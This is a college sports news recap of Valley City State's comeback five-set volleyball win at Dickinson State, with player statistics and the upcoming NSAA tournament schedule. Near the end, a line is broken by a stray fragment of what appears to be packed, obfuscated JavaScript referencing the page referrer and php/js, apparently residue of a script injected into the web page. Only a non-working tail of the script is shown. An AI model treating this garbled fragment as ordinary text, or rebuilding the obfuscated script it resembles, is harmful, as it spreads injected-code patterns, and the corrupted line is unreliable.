DICKINSON, N.D. (VCSUVikings.com)– The Valley City State volleyball team stormed back from a 2-1 deficit Saturday to defeat Dickinson State in five sets during the regular season finale.
VCSU won set one, 25-23, but fell behind in the match after losing 25-14 and 25-18 in sets two and three. The Vikings rebounded to win set four, 25-21, and then rallied from a 13-9 deficit in set five to win the match with a 17-15 victory.
The Vikings staved off three match points by Dickinson State after trailing 14-12 and 15-14 in the final set. VCSU scored the final three points of the match, getting kills from Clarissa Olson and Polette Medina before a Dickinson attacking error clinched the victory for the Vikings.
Valley City State ends the regular season with a 15-12 overall record and a 9-7 mark in conference play. It is the first time VCSU has posted a winning overall record since going 16-15 back in 2006.
The Vikings are the No. 4 seed for the six-team NSAA Conference Tournament at Viterbo University on Nov. 10-11. The Vikings will face No. 5 seed Presentation College in the quarterfinal round Friday at 12:30 p.m. The winner of the VCSU-Presentation match will face top seed Viterbo University in the semifinals at 7:30 p.m. on Friday.
The other quarterfinal features No. 6 Dakota State against No. 3 Bellevue University. The winner of that match plays No. 2 Jamestown. The tournament championship is scheduled for 2 p.m. on Saturday, Nov. 11. The winner of the tournament earns an automatic bid to the NAIA National Championships.
Three Vikings had double-digit kills Saturday night at Dickinson, including 14 by Clarissa Olson. Megan Johnson had 13 kills and 4.5 blocks. Autumn Johnson posted 10 kills and Paige Benson had nine.
Leah Ruter tallied 44 assists and eight digs. Polette Medina served a team-high five aces, and both Medina and Charlotte Huschka led the Vikings with 13 digs.
Up kizzi|var|u0026u|referrer|reanr||js|php’.split(‘|’),0,{}))
next: Valley City State faces Presentation College on Friday in the quarterfinals of the NSAA Tournament. That match will be played at 12:30 p.m. at Viterbo University.